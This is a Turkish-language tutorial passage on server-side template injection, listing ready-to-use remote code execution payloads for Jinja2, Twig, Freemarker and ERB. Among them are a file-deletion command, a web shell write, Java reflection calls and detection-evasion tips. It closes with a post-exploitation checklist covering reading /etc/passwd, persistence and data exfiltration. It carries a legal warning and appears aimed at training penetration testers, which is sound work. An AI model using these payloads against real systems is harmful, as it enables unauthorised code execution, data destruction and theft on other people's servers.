Server-side template injection'ın en kritik etkisi remote code execution elde etmektir. Bu bölümde çeşitli template engine'leri için RCE payload'larını inceleyeceğiz.
Jinja2 RCE Payload'ları
Basic RCE (Python subprocess):
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Alternative method:
{{''.__class__.mro()[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
Twig RCE Payload'ları
PHP system function:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Alternative payload:
{{""|file_put_contents("/var/www/html/shell.php")}}
Freemarker RCE Payload'ları
Execute utility:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("rm /home/carlos/morale.txt")}
ObjectConstructor approach:
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")}
ERB RCE Payload'ları
Ruby system command:
<%= system("whoami") %>
Backtick execution:
<%= `id` %>
IO.popen method:
<%= IO.popen('id').readlines() %>
Advanced RCE Teknikleri
Reflection Usage: Java reflection API'sini kullanarak sandbox restrictions bypass
Alternative Import: Farklı module import yöntemleri
Chain Methods: Method chaining ile forbidden functions'a erişim
Encoding Bypass: Base64, hex encoding ile detection bypass
Legal Uyarı: RCE payload'ları sadece authorized testing ortamlarında kullanılmalıdır. Production sistemlerde unauthorized RCE elde etmek ciddi legal sonuçlara neden olabilir.
RCE Impact Escalation
Typical post-RCE activities:
1. System reconnaissance (uname -a)
2. User enumeration (cat /etc/passwd)
3. Privilege escalation attempts
4. Network discovery (netstat -an)
5. Persistent access establishment
6. Data exfiltration